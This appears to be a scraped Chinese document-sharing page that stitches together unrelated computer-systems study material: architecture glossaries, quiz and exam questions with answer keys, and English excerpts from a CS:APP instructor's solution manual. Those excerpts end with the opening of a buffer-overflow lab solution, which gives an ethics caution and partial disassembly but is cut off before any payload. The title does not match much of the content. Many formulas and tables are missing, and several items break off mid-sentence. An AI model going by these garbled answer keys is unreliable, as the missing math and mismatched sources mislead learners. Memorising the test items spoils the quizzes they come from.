深入理解计算机系统答案(超高清电子版)
- 格式:pdf
- 大小:274.80 KB
- 文档页数:89
第1章计算机系统结构的基本概念1.1 解释下列术语层次机构:按照计算机语言从低级到高级的次序,把计算机系统按功能划分成多级层次结构,每一层以一种不同的语言为特征。
这些层次依次为:微程序机器级,传统机器语言机器级,汇编语言机器级,高级语言机器级,应用语言机器级等。
虚拟机:用软件实现的机器。
翻译:先用转换程序把高一级机器上的程序转换为低一级机器上等效的程序,然后再在这低一级机器上运行,实现程序的功能。
解释:对于高一级机器上的程序中的每一条语句或指令,都是转去执行低一级机器上的一段等效程序。
执行完后,再去高一级机器取下一条语句或指令,再进行解释执行,如此反复,直到解释执行完整个程序。
计算机系统结构:传统机器程序员所看到的计算机属性,即概念性结构与功能特性。
在计算机技术中,把这种本来存在的事物或属性,但从某种角度看又好像不存在的概念称为透明性。
计算机组成:计算机系统结构的逻辑实现,包含物理机器级中的数据流和控制流的组成以及逻辑设计等。
计算机实现:计算机组成的物理实现,包括处理机、主存等部件的物理结构,器件的集成度和速度,模块、插件、底板的划分与连接,信号传输,电源、冷却及整机装配技术等。
系统加速比:对系统中某部分进行改进时,改进后系统性能提高的倍数。
Amdahl定律:当对一个系统中的某个部件进行改进后,所能获得的整个系统性能的提高,受限于该部件的执行时间占总执行时间的百分比。
程序的局部性原理:程序执行时所访问的存储器地址不是随机分布的,而是相对地簇聚。
包括时间局部性和空间局部性。
CPI:每条指令执行的平均时钟周期数。
测试程序套件:由各种不同的真实应用程序构成的一组测试程序,用来测试计算机在各个方面的处理性能。
存储程序计算机:冯·诺依曼结构计算机。
其基本点是指令驱动。
程序预先存放在计算机存储器中,机器一旦启动,就能按照程序指定的逻辑顺序执行这些程序,自动完成由程序所描述的处理工作。
系列机:由同一厂家生产的具有相同系统结构、但具有不同组成和实现的一系列不同型号的计算机。
《深入》题目S141000825 李永伟第一章题目1.1.1_25_1我们通常所说的“字节”由_____个二进制位构成。
A 2B 4C 6D 81.4.1_25_2微型计算机硬件系统中最核心的部位是__。
A 主板B. CPUC 内存处理器D I/O设备1.4.1_25_3CPU中有一个程序计数器(又称指令计数器)。
它用于存储__。
A.保存将要提取的下一条指令的地址B.保存当前CPU所要访问的内存单元地址C.暂时存放ALU运算结果的信息D.保存当前正在执行的一条指令1.5.0_25_4下列叙述中,正确的是A.CPU能直接读取硬盘上的数据B.CPU能直接存取内存储器C.CPU由存储器、运算器和控制器组成D.CPU主要用来存储程序和数据1.4.1_25_5“32位微型计算机”中的32指的是()。
A.微机型号B.内存容量C.运算速度D.机器字长第二章题目2.1.1_25_1求下列算是得值,结果用十六进制表示:0x503c + 64 =______A. 0x507cB.0x507bC. 0x506cD.0x506b2.1.1_25_2将十进制数167用十六进制表示的结果是______ A.0XB7B.0XA7C.0XB6D.0XA62.1.8_25_3位级运算:0x69 & 0x55 的结果是_______A.0X40B.0X41C.0X42D.0X432.1.9_25_4逻辑运算!!0x41的结果用十六进制表示为_____A.0X00B.0X41C.0X14D.0X012.1.10_25_5位移运算:对参数x = [10010101] ,则x>>4(算术右移)的结果是______A.[01010000]B.[00001001]C.[11111001]D.[10001001]2.2.7_25_6截断:假设一个4位数值(用十六进制数字0~F表示)截断到一个3位数值(用十六进制0~7表示),[1011]截断后的补码值是___ A.-3B.3C.5D.-52.4.2_25_7浮点表示:数字5用浮点表示时的小数字段frac的解释为描述小数值f,则f=______A.1/2B.1/4C.1/8D.1/162.4.2 _25-8数字5用浮点表示,则指数部分E=_____A.1B.2C.3D.42.4.2_25_9数字5用浮点表示,则指数部分位表示为___A.2^ (K-1)+1B. 2^K+1C. 2^ (K-1)D. 2^K2.4.5_25_10浮点运算:(3.14+1e10)-1e10 在计算机中的运算结果为A.3.14B.0C.1e10D.0.0第三章题目3.4.1_25_1计算Imm(E b ,E i ,s)这种寻址模式所表示的有效地址:A.Imm + R[E b]+R[E s] *sB. Imm + R[E b]+R[Es]C. Imm + R[E b]D. Imm +R[E s]3.4.1_25_2下面这种寻址方式属于_____M[R[E b]]A. 立即数寻址B. 寄存器寻址C. 绝对寻址D. 间接寻址3.4.2_25_3假设初始值:%dh=CD,%eax=98765432则执行下面一条指令后,%eax的值为多少?MOVB %DH ,%ALA. %eax= 987654CDB. %eax= CD765432C %eax= FFFFFFCDD. %eax= 000000CD3.4.2._25_4假设初始值:%dh=CD,%eax=98765432则执行下面一条指令后,%eax的值为多少?MOVSBL %DH ,%ALA. %eax= 987654CDB. %eax= CD765432C %eax= FFFFFFCDD. %eax= 000000CD3.4.2._25_5假设初始值:%dh=CD,%eax=98765432则执行下面一条指令后,%eax的值为多少?MOVZBL %DH ,%ALA. %eax= 987654CDB. %eax= CD765432C %eax= FFFFFFCDD. %eax= 000000CD3.5.1_25_6假设寄存器%eax的值为x,%ecx的值为y,则指明下面汇编指令存储在寄存器%edx中的值Leal (%eax ,%ecx),%edxA. xB yC x + yD x –y3.5.1._25_7假设寄存器%eax的值为x,%ecx的值为y,则指明下面汇编指令存储在寄存器%edx中的值Leal 9(%eax ,%ecx , 2),%edxA. x +y +2B 9*(x + y + 2)C 9 + x + y +2D 9 + x + 2y3.6.1_25_8条件码CF表示______A 零标志B 符号标志C 溢出标志D进位标志3.6.1_25_9条件码OF表示______A 零标志B 符号标志C 溢出标志D进位标志3.6.6_25_10在奔腾4上运行,当分支行为模式非常容易预测时,我们的代码需要大约16个时钟周期,而当模式是随机时,大约需要31个时钟周期,则预测错误处罚大约是多少?A. 25B. 30C. 35D. 40第五章题目5.1.0_25_1指针xp指向x,指针yp指向y,下面是一个交换两个值得过程:Viod swap (int *xp ,int *yp){*xp = *xp + *yp //x+y*yp = *xp - *yp //x+y-y=x*xp = *xp - *yp //x+y-x=y}考虑,当xp=yp时,xp处的值是多少A . xB. yC . 0D.不确定5.4.0_25_2考虑下面函数:int min( int x , int y ) { return x < y ? x : y;}int max( int x , int y ){ return x < y ? y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数:for( i = min(x,y) ;i< max(x,y); incr(&i,1))t +=square(i) ;假设x等于10,y等于100.指出该片段中4个函数min (),max(),incr(),square()每个被调用的次数一次为A.91 1 90 90B.1 91 90 90C.1 1 90 90D.90 1 90 905.4.0_25_3考虑下面函数:int min( int x , int y ) { return x < y ? x : y;}int max( int x , int y ){ return x < y ? y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数:for( i = max(x,y) -1;i >= min(x,y); incr(&i,-1)) t +=square(i) ;假设x等于10,y等于100.指出该片段中4个函数min (),max(),incr(),square()每个被调用的次数一次为A.91 1 90 90B.1 91 90 90C.1 1 90 90D.90 1 90 905.4.0_25_4考虑下面函数:int min( int x , int y ) { return x < y ? x : y;}int max( int x , int y ){ return x < y ? y : x; }viod incr (int *xp ,int v) { *xp += v;}int square( int x ) { return x *x; }下面一个片段调用这些函数:Int low = min(x,y);Int high = max(x,y);For(i= low;i<high;incr(&i,1)t +=square(i);假设x等于10,y等于100.指出该片段中4个函数min (),max(),incr(),square()每个被调用的次数依次为A.91 1 90 90B.1 91 90 90C.1 1 90 90D.90 1 90 905.2.0_25_5假设某个函数有多个变种,这些变种保持函数的行为,又具有不同的性能特性,对于其中的三个变种,我们发现运行时间(以时钟周期为单位)可以用下面的函数近似的估计版本1:60+35n版本2:136+4n版本3:157+1.25n问题是当n=2时,哪个版本最快?A.1B.2C.3D.无法比较5.2.0_25_6假设某个函数有多个变种,这些变种保持函数的行为,又具有不同的性能特性,对于其中的三个变种,我们发现运行时间(以时钟周期为单位)可以用下面的函数近似的估计版本1:60+35n版本2:136+4n版本3:157+1.25n问题是当n=5时,哪个版本最快?A.1B.2C.3D.无法比较5.2.0_25_7假设某个函数有多个变种,这些变种保持函数的行为,又具有不同的性能特性,对于其中的三个变种,我们发现运行时间(以时钟周期为单位)可以用下面的函数近似的估计版本1:60+35n版本2:136+4n版本3:157+1.25n问题是当n=10时,哪个版本最快?A.1B.2C.3D.无法比较5.7.3_25_8下面有一个函数:double poly( double a[] ,double x, int degree){long int i;double result = a[0];double xpwr =x;for(i=1 ; i<=degree; i++){result += a[i] *xpwr;xpwr =x *xpwr;}return result;}当degree=n,这段代码共执行多少次加法和多少次乘法?A.n nB.2n nC.n 2nD.2n 2n5.14.2_25_9一名司机运送一车货物从A地到B地,总距离为2500公里。
(完整版)计算机系统结构考试题目及参考答案.doc一:名词解释1:虚拟机:由软件实现的机器。
2:CPI :是衡量CPU 执行指令效率的重要标志,指执行每条指令所需的平均时钟周期数。
3:摩尔定律:当价格不变时,集成电路上可容纳的晶体管数目,约每隔18 个月便会增加一倍,性能也将提升一倍。
4:并发性:指两个或多个事件在同一时间间隔内发生的并行性。
5:程序局部性原理:是指程序在执行时呈现出局部性规律,即在一段时间内,整个程序的执行仅限于程序中的某一部分。
相应地,执行所访问的存储空间也局限于某个内存区域。
局部性原理又表现为:时间局部性和空间局部性。
6: CISC/RISC : CISC :即复杂指令系统计算机,指在系统中增加更多和复杂的指令,来提高操作系统效率的计算机。
RISC :即精简指令系统计算机,指在系统中选取使用一些频率最高的、长度固定的、格式种类少的简单指令的计算机。
7:计算机系统结构:指对机器语言计算机的软、硬件功能的分配和对界面的定义。
8:系列机:指先设计好一种系统结构,而后就按这种系统结构设计它的系统软件,按器件状况和硬件技术研究这种结构的各种实现方法,并按照速度、价格等不同要求,分别提供不同速度、不同配置的各档机器。
9:模拟:用机器语言程序解释实现程序移植的方法。
10:仿真:用微程序直接解释另一种机器的指令系统。
11:寻址方式:寻找操作数或指令的有效地址的方式。
12:替换算法:在存储体系中,当出现页面失效时或者主存的所有页面已经全部被占用而又出现页面失效时,按照某种算法来替换主存中某页。
[ 由于主存中的块比Cache 中的块多,所以当要从主存中调一个块到Cache 中时,会出现该块所映象到的一组(或一个)Cache 块已全部被占用的情况。
这时,需要被迫腾出其中的某一块,以接纳新调入的块。
]二:选择题1,直接执行微指令的是( C )A 汇编程序B 编译程序C 硬件D 微指令程序2,对汇编语言程序员不透明的是( C )A 程序计数器B 主存地址寄存器C 条件码寄存器D 指令寄存器3,最早的冯·诺依曼型计算机是以( B )为中心的A 运算器B 控制器C 存储器D I/O 设备4,计算机系统结构的角度的结构来看,机器语言程序员看到的机器属性是( C )A 计算机软件所要完成的功能B 计算机硬件的全部组成C 编程要用到的硬件组织D 计算机各部分硬件的实现5,不同系列计算机之间实现可移植性的途径,不包括( B )A 采用统一的高级语言B 采用统一的汇编语言C 模拟D 仿真6,利用时间重叠原理,实现并行处理的是( A )A 流水处理机B 多处理机C 阵列处理机D 集群系统7,多处理机实现的并行主要是(B)A 指令级并行B 任务级并行C 操作级并行D 操作步骤的级并行8 计算机系统结构不包括( B )A 信息保护B 存储速度C 数据表示D 机器工作状态9,不需要编址的数据存储空间( D )A CPU 通用寄存器B 主存储器C I/O 寄存器D 堆栈10, RISC 执行程序的速度比CISC 快的原因是( C )A RISC 指令系统中条数较少B 程序在 RISC 编译生成的目标程序较短C RISC 指令平均执行周期数较少D RISC 中只允许 LOAD 和 STORE 指令存储11,程序员在编写程序时,使用的访存地址是( B )A 主存地址B 逻辑地址C 物理地址D 有效地址12,虚拟存储器主要是为了( A )A 扩大存储器系统容量B 提高存储器系统速度C 扩大存储器系统容量和提高存储器系统速度D 便于程序的访存操作13,与全相联映像相比,组相联映像的优点是( B )A 目录表小B 块冲突概率低C 命中率高D 主存利用率高14,输入输出数据不经过CPU 内部寄存器的输入输出方式是( C )A 程序控制方式B 中断C DMA 方式D 上述三种方式15,在配置了通道的计算机系统中,用户程序需要输入输出时引起的中断是( A )A 访管中断B I/O 中断C 程序性中断D 外部中断16,当计算机系统通过执行通道程序,完成输入输出工作时,执行通道程序的是(B)A CPUB 通道C CPU 和通道D 指定的外设三:填空1,常见的计算机系统结构的分类法有两种:Flynn 分类法,冯氏分类法冯氏分类法是根据系统的最大并行度对计算机系统结构进行分类,大多数的位并行的单处理机属于字串位并的处理机方式2,由软件实现的机器称为:虚拟机3,在一个计算机系统中,低层机器的属性往往对高层机器的程序员是透明的。
深入探讨计算机基础知识的试题与答案计算机基础知识是现代社会中不可或缺的一部分。
了解计算机的基本原理和操作系统、网络、安全等方面的知识,对于我们发展职业、提升技能非常重要。
本文将深入探讨计算机基础知识的试题与答案,帮助读者更好地理解和掌握相关的知识。
一、操作系统1. 下面哪个不是操作系统的功能?A. 文件管理B. 硬件管理C. 网络管理D. 驱动管理答案:D. 驱动管理解析:操作系统负责文件管理、硬件管理和网络管理等功能,但驱动管理通常是由设备驱动程序来完成的。
2. 在操作系统中,进程是指什么?A. 一个正在运行的程序B. 存储器中的一段程序代码C. 硬盘上的一个文件D. 一个系统的用户答案:A. 一个正在运行的程序解析:在操作系统中,进程是指一个正在运行的程序,它占用CPU 资源,并与其它进程进行数据交互。
二、网络基础1. 下列哪个不是网络的优势?A. 可以迅速传输大量数据B. 可以方便地共享资源C. 可以保证数据的安全性D. 可以在全球范围内通信答案:C. 可以保证数据的安全性解析:虽然网络可以采取一些措施来保护数据的安全性,但网络并不能完全保证数据的安全性。
2. IP地址的作用是什么?A. 标识计算机之间的连接B. 控制网络访问速度C. 提供数据加密功能D. 管理网络路由答案:A. 标识计算机之间的连接解析:IP地址用于标识计算机之间的连接,使得数据可以准确地发送和接收。
三、安全性与隐私1. 下面哪个是常见的网络安全威胁?A. 病毒B. 数据库C. 打印机D. 电源答案:A. 病毒解析:病毒是常见的网络安全威胁,它可以通过植入计算机系统中,对数据和系统造成破坏。
2. 以下哪项措施可以提高计算机的安全性?A. 定期更新操作系统和软件B. 使用弱密码C. 共享账户和密码D. 不安装杀毒软件答案:A. 定期更新操作系统和软件解析:定期更新操作系统和软件可以修复已知的漏洞,提高计算机的安全性。
四、数据存储与处理1. 下列选项中,哪个不是常见的存储设备?A. 硬盘B. 光盘C. U盘D. 声卡答案:D. 声卡解析:声卡不属于存储设备,它主要负责计算机音频的输入和输出。
计算机系统结构作业参考答案一、1、试述现代计算机系统的多级层次结构。
计算机系统具有层次性,它由多级层次结构组成。
从功能上计算机系统可分为五个层次级别:第一级是微程序设计级。
这是一个硬件级,它由机器硬件直接执行微指令。
第二级是一般机器级,也称为机器语言级。
它由微程序解释机器指令系统.这一级是硬件级。
第三级是操作系统级,它由操作系统程序实现。
这些操作系统由机器指令和广义指令组成,这些广义指令是操作系统定义和解释的软件指令。
这一级也称混合级。
第四级是汇编语言级。
它给程序人员提供一种符号形式的语言,以减少程序编写的复杂性。
这一级由汇编程序支持执行。
第五级是高级语言级。
这是面向用户为编写应用程序而设置的。
这一级由各种高级语言编译程序支持。
2、试述RISC设计的基本原则和采用的技术。
答:一般原则:(1)确定指令系统时,只选择使用频度很高的指令及少量有效支持操作系统,高级语言及其它功能的指令,大大减少指令条数,一般使之不超过100条;(2)减少寻址方式种类,一般不超过两种;(3)让所有指令在一个机器周期内完成;(4)扩大通用寄存器个数,一般不少于32个,尽量减少访存次数;(5)大多数指令用硬联实现,少数用微程序实现;(6)优化编译程序,简单有效地支持高级语言实现。
基本技术:(1)按RISC一般原则设计,即确定指令系统时,选最常用基本指令,附以少数对操作系统等支持最有用的指令,使指令精简。
编码规整,寻址方式种类减少到1、2种。
(2)逻辑实现用硬联和微程序相结合。
即大多数简单指令用硬联方式实现,功能复杂的指令用微程序实现。
(3)用重叠寄存器窗口。
即:为了减少访存,减化寻址方式和指令格式,简有效地支持高级语言中的过程调用,在RISC机器中设有大量寄存嚣,井让各过程的寄存器窗口部分重叠。
(4)用流水和延迟转移实现指令,即可让本条指令执行与下条指令预取在时间上重叠。
另外,将转移指令与其前面的一条指令对换位置,让成功转移总是在紧跟的指令执行之后发生,使预取指令不作废,节省一个机器周期。
计算机系统试题及答案计算机系统试题及答案一、选择题1. 下面哪个不是计算机系统的组成部分?A. 中央处理器B. 内存C. 显卡D. 硬盘答案:C2. 计算机的存储器分类中,按照数据访问速度由快到慢的顺序依次是:A. 寄存器、缓存、内存、磁盘B. 缓存、寄存器、内存、磁盘C. 寄存器、内存、缓存、磁盘D. 缓存、内存、寄存器、磁盘答案:C3. 下列哪个是计算机系统的输入设备?A. 鼠标B. 打印机C. 显示器D. 主机答案:A4. 下面对计算机系统的描述,正确的是:A. 计算机系统主要由硬件组成,包括计算机的各种设备B. 计算机系统只包括软件,不包括硬件C. 计算机系统只包括硬件,不包括软件D. 计算机系统包括硬件和软件答案:D5. 下列哪个是计算机系统的输出设备?A. 鼠标B. 打印机C. 内存D. 键盘答案:B二、填空题1. CPU的英文全称是__________。
答案:Central Processing Unit2. ROM的英文全称是__________。
答案:Read-Only Memory3. 操作系统是计算机系统的________部分。
答案:核心/重要4. 计算机中的最小存储单元是__________。
答案:位/比特5. 操作系统用于管理计算机的__________。
答案:资源三、简答题1. 请简要解释什么是计算机系统?答:计算机系统是指由硬件和软件相互配合组成的,能完成数据输入、输出、运算和控制等功能的整体系统。
硬件包括计算机的各种设备,如中央处理器、内存、硬盘等;软件则是指操作系统、应用程序等。
2. 请解释一下计算机的主要组成部分。
答:计算机的主要组成部分包括中央处理器(CPU)、内存、硬盘、输入设备和输出设备。
CPU是计算机的大脑,负责执行指令和进行运算;内存用于临时存储数据和程序;硬盘用于长期存储数据;输入设备用于将外部数据输入计算机;输出设备用于将计算机处理后的数据输出给用户。
习题3.参考答案:(1)后缀:w,源:基址+比例变址+偏移,目:寄存器(2)后缀:b,源:寄存器,目:基址+偏移(3)后缀:l,源:比例变址,目:寄存器(4)后缀:b,源:基址,目:寄存器(5)后缀:l,源:立即数,目:栈(6)后缀:l,源:立即数,目:寄存器(7)后缀:w,源:寄存器,目:寄存器(8)后缀:l,源:基址+变址+偏移,目:寄存器4.参考答案:(1)源操作数是立即数0xFF,需在前面加‘$’(2)源操作数是16位,而长度后缀是字节‘b’,不一致(3)目的操作数不能是立即数寻址(4)操作数位数超过16位,而长度后缀为16位的‘w’(5)不能用8位寄存器作为目的操作数地址所在寄存器(6)源操作数寄存器与目操作数寄存器长度不一致(7)不存在ESX寄存器(8)源操作数地址中缺少变址寄存器5.参考答案:6.参考答案:(1)xptr、yptr和zptr对应实参所存放的存储单元地址分别为:R[ebp]+8、R[ebp]+12、R[ebp]+16。
(2)函数func的C语言代码如下:void func(int *xptr, int *yptr, int *zptr){int tempx=*xptr;int tempy=*yptr;int tempz=*zptr;*yptr=tempx;*zptr = tempy;*xptr = tempz;}7.参考答案:(1)R[edx]=x(2)R[edx]=x+y+4 (3)R[edx]=x+8*y (4)R[edx]=y+2*x+12 (5)R[edx]=4*y (6)R[edx]=x+y 8.参考答案:(1)指令功能为:R[edx]←R[edx]+M[R[eax]]=0x 00000080+M[0x8049300],寄存器EDX 中内容改变。
改变后的内容为以下运算的结果:00000080H+FFFFFFF0H因此,EDX 中的内容改变为0x00000070。
计算机系统考试题及答案一. 多项选择题1. 下列哪个不是计算机系统的组成部分?A. 输入设备B. 中央处理器C. 输出设备D. 操作系统答案:D2. 以下哪项属于内存的主要特点?A. 存储介质B. 随机访问C. 只读存储D. 与CPU速度相等答案:B3. 在计算机组成中,控制器的主要功能是什么?A. 执行指令B. 存储数据C. 控制数据传输D. 生成算法答案:C4. 编译器的作用是什么?A. 将源代码转换为目标代码B. 执行程序C. 控制输入输出设备D. 进行数据库管理答案:A5. 下列哪个是计算机网络的主要特点?A. 数据传输速度快B. 安全性高C. 资源共享D. 需要专门的硬件设备答案:C二. 填空题1. 操作系统是计算机系统中的_________执行环境。
答案:核心2. 二进制数系统中,一个位表示的是_________。
答案:0或13. 磁盘是一种_________存储介质。
答案:非易失性4. CPU的主要部件包括_________、_________和_________。
答案:运算器,控制器,寄存器5. TCP/IP协议中的TCP代表的是_________。
答案:传输控制协议三. 解答题1. 请简要介绍计算机系统的层次结构,并说明各个层次的作用。
答案:计算机系统的层次结构通常可以分为硬件层、操作系统层和应用层。
在硬件层,计算机的基本组成部分包括中央处理器(CPU)、内存、输入设备和输出设备等。
操作系统层负责管理计算机的资源和控制计算机的各个部件,例如控制设备的输入输出、管理内存和进程调度等。
应用层是用户与计算机进行交互的接口,包括各种应用软件和用户界面。
各层次之间通过接口进行通信和交互,形成一个完整的计算机系统。
2. 简要说明操作系统的主要功能和作用。
答案:操作系统是计算机系统的核心组成部分,具有以下主要功能和作用:- 资源管理:操作系统可以管理和分配计算机的硬件资源,如内存、处理器和外部设备等。
Computer Systems:A Programmer’s PerspectiveInstructor’s Solution Manual1Randal E.BryantDavid R.O’HallaronDecember4,20031Copyright c2003,R.E.Bryant,D.R.O’Hallaron.All rights reserved.2Chapter1Solutions to Homework ProblemsThe text uses two different kinds of exercises:Practice Problems.These are problems that are incorporated directly into the text,with explanatory solutions at the end of each chapter.Our intention is that students will work on these problems as they read the book.Each one highlights some particular concept.Homework Problems.These are found at the end of each chapter.They vary in complexity from simple drills to multi-week labs and are designed for instructors to give as assignments or to use as recitation examples.This document gives the solutions to the homework problems.1.1Chapter1:A Tour of Computer Systems1.2Chapter2:Representing and Manipulating InformationProblem2.40Solution:This exercise should be a straightforward variation on the existing code.2CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS1011void show_double(double x)12{13show_bytes((byte_pointer)&x,sizeof(double));14}code/data/show-ans.c 1int is_little_endian(void)2{3/*MSB=0,LSB=1*/4int x=1;56/*Return MSB when big-endian,LSB when little-endian*/7return(int)(*(char*)&x);8}1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION3 There are many solutions to this problem,but it is a little bit tricky to write one that works for any word size.Here is our solution:code/data/shift-ans.c The above code peforms a right shift of a word in which all bits are set to1.If the shift is arithmetic,the resulting word will still have all bits set to1.Problem2.45Solution:This problem illustrates some of the challenges of writing portable code.The fact that1<<32yields0on some32-bit machines and1on others is common source of bugs.A.The C standard does not define the effect of a shift by32of a32-bit datum.On the SPARC(andmany other machines),the expression x<<k shifts by,i.e.,it ignores all but the least significant5bits of the shift amount.Thus,the expression1<<32yields1.pute beyond_msb as2<<31.C.We cannot shift by more than15bits at a time,but we can compose multiple shifts to get thedesired effect.Thus,we can compute set_msb as2<<15<<15,and beyond_msb as set_msb<<1.Problem2.46Solution:This problem highlights the difference between zero extension and sign extension.It also provides an excuse to show an interesting trick that compilers often use to use shifting to perform masking and sign extension.A.The function does not perform any sign extension.For example,if we attempt to extract byte0fromword0xFF,we will get255,rather than.B.The following code uses a well-known trick for using shifts to isolate a particular range of bits and toperform sign extension at the same time.First,we perform a left shift so that the most significant bit of the desired byte is at bit position31.Then we right shift by24,moving the byte into the proper position and peforming sign extension at the same time.4CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 3int left=word<<((3-bytenum)<<3);4return left>>24;5}Problem2.48Solution:This problem lets students rework the proof that complement plus increment performs negation.We make use of the property that two’s complement addition is associative,commutative,and has additive ing C notation,if we define y to be x-1,then we have˜y+1equal to-y,and hence˜y equals -y+1.Substituting gives the expression-(x-1)+1,which equals-x.Problem2.49Solution:This problem requires a fairly deep understanding of two’s complement arithmetic.Some machines only provide one form of multiplication,and hence the trick shown in the code here is actually required to perform that actual form.As seen in Equation2.16we have.Thefinal term has no effect on the-bit representation of,but the middle term represents a correction factor that must be added to the high order bits.This is implemented as follows:code/data/uhp-ans.c Problem2.50Solution:Patterns of the kind shown here frequently appear in compiled code.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION5A.:x+(x<<2)B.:x+(x<<3)C.:(x<<4)-(x<<1)D.:(x<<3)-(x<<6)Problem2.51Solution:Bit patterns similar to these arise in many applications.Many programmers provide them directly in hex-adecimal,but it would be better if they could express them in more abstract ways.A..˜((1<<k)-1)B..((1<<k)-1)<<jProblem2.52Solution:Byte extraction and insertion code is useful in many contexts.Being able to write this sort of code is an important skill to foster.code/data/rbyte-ans.c Problem2.53Solution:These problems are fairly tricky.They require generating masks based on the shift amounts.Shift value k equal to0must be handled as a special case,since otherwise we would be generating the mask by performing a left shift by32.6CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1unsigned srl(unsigned x,int k)2{3/*Perform shift arithmetically*/4unsigned xsra=(int)x>>k;5/*Make mask of low order32-k bits*/6unsigned mask=k?((1<<(32-k))-1):˜0;78return xsra&mask;9}code/data/rshift-ans.c 1int sra(int x,int k)2{3/*Perform shift logically*/4int xsrl=(unsigned)x>>k;5/*Make mask of high order k bits*/6unsigned mask=k?˜((1<<(32-k))-1):0;78return(x<0)?mask|xsrl:xsrl;9}.1.2.CHAPTER2:REPRESENTING AND MANIPULATING INFORMATION7B.(a)For,we have,,code/data/floatge-ans.c 1int float_ge(float x,float y)2{3unsigned ux=f2u(x);4unsigned uy=f2u(y);5unsigned sx=ux>>31;6unsigned sy=uy>>31;78return9(ux<<1==0&&uy<<1==0)||/*Both are zero*/10(!sx&&sy)||/*x>=0,y<0*/11(!sx&&!sy&&ux>=uy)||/*x>=0,y>=0*/12(sx&&sy&&ux<=uy);/*x<0,y<0*/13},8CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS This exercise is of practical value,since Intel-compatible processors perform all of their arithmetic in ex-tended precision.It is interesting to see how adding a few more bits to the exponent greatly increases the range of values that can be represented.Description Extended precisionValueSmallest denorm.Largest norm.Problem2.59Solution:We have found that working throughfloating point representations for small word sizes is very instructive. Problems such as this one help make the description of IEEEfloating point more concrete.Description8000Smallest value4700Largest denormalized———code/data/fpwr2-ans.c1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS91/*Compute2**x*/2float fpwr2(int x){34unsigned exp,sig;5unsigned u;67if(x<-149){8/*Too small.Return0.0*/9exp=0;10sig=0;11}else if(x<-126){12/*Denormalized result*/13exp=0;14sig=1<<(x+149);15}else if(x<128){16/*Normalized result.*/17exp=x+127;18sig=0;19}else{20/*Too big.Return+oo*/21exp=255;22sig=0;23}24u=exp<<23|sig;25return u2f(u);26}10CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS int decode2(int x,int y,int z){int t1=y-z;int t2=x*t1;int t3=(t1<<31)>>31;int t4=t3ˆt2;return t4;}Problem3.32Solution:This code example demonstrates one of the pedagogical challenges of using a compiler to generate assembly code examples.Seemingly insignificant changes in the C code can yield very different results.Of course, students will have to contend with this property as work with machine-generated assembly code anyhow. They will need to be able to decipher many different code patterns.This problem encourages them to think in abstract terms about one such pattern.The following is an annotated version of the assembly code:1movl8(%ebp),%edx x2movl12(%ebp),%ecx y3movl%edx,%eax4subl%ecx,%eax result=x-y5cmpl%ecx,%edx Compare x:y6jge.L3if>=goto done:7movl%ecx,%eax8subl%edx,%eax result=y-x9.L3:done:A.When,it will computefirst and then.When it just computes.B.The code for then-statement gets executed unconditionally.It then jumps over the code for else-statement if the test is false.C.then-statementt=test-expr;if(t)goto done;else-statementdone:D.The code in then-statement must not have any side effects,other than to set variables that are also setin else-statement.1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS11Problem3.33Solution:This problem requires students to reason about the code fragments that implement the different branches of a switch statement.For this code,it also requires understanding different forms of pointer dereferencing.A.In line29,register%edx is copied to register%eax as the return value.From this,we can infer that%edx holds result.B.The original C code for the function is as follows:1/*Enumerated type creates set of constants numbered0and upward*/2typedef enum{MODE_A,MODE_B,MODE_C,MODE_D,MODE_E}mode_t;34int switch3(int*p1,int*p2,mode_t action)5{6int result=0;7switch(action){8case MODE_A:9result=*p1;10*p1=*p2;11break;12case MODE_B:13*p2+=*p1;14result=*p2;15break;16case MODE_C:17*p2=15;18result=*p1;19break;20case MODE_D:21*p2=*p1;22/*Fall Through*/23case MODE_E:24result=17;25break;26default:27result=-1;28}29return result;30}Problem3.34Solution:This problem gives students practice analyzing disassembled code.The switch statement contains all the features one can imagine—cases with multiple labels,holes in the range of possible case values,and cases that fall through.12CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1int switch_prob(int x)2{3int result=x;45switch(x){6case50:7case52:8result<<=2;9break;10case53:11result>>=2;12break;13case54:14result*=3;15/*Fall through*/16case55:17result*=result;18/*Fall through*/19default:20result+=10;21}2223return result;24}code/asm/varprod-ans.c 1int var_prod_ele_opt(var_matrix A,var_matrix B,int i,int k,int n) 2{3int*Aptr=&A[i*n];4int*Bptr=&B[k];5int result=0;6int cnt=n;78if(n<=0)9return result;1011do{12result+=(*Aptr)*(*Bptr);13Aptr+=1;14Bptr+=n;15cnt--;1.3.CHAPTER3:MACHINE LEVEL REPRESENTATION OF C PROGRAMS13 16}while(cnt);1718return result;19}code/asm/structprob-ans.c 1typedef struct{2int idx;3int x[4];4}a_struct;14CHAPTER1.SOLUTIONS TO HOMEWORK PROBLEMS 1/*Read input line and write it back*/2/*Code will work for any buffer size.Bigger is more time-efficient*/ 3#define BUFSIZE644void good_echo()5{6char buf[BUFSIZE];7int i;8while(1){9if(!fgets(buf,BUFSIZE,stdin))10return;/*End of file or error*/11/*Print characters in buffer*/12for(i=0;buf[i]&&buf[i]!=’\n’;i++)13if(putchar(buf[i])==EOF)14return;/*Error*/15if(buf[i]==’\n’){16/*Reached terminating newline*/17putchar(’\n’);18return;19}20}21}An alternative implementation is to use getchar to read the characters one at a time.Problem3.38Solution:Successfully mounting a buffer overflow attack requires understanding many aspects of machine-level pro-grams.It is quite intriguing that by supplying a string to one function,we can alter the behavior of another function that should always return afixed value.In assigning this problem,you should also give students a stern lecture about ethical computing practices and dispell any notion that hacking into systems is a desirable or even acceptable thing to do.Our solution starts by disassembling bufbomb,giving the following code for getbuf: 1080484f4<getbuf>:280484f4:55push%ebp380484f5:89e5mov%esp,%ebp480484f7:83ec18sub$0x18,%esp580484fa:83c4f4add$0xfffffff4,%esp680484fd:8d45f4lea0xfffffff4(%ebp),%eax78048500:50push%eax88048501:e86a ff ff ff 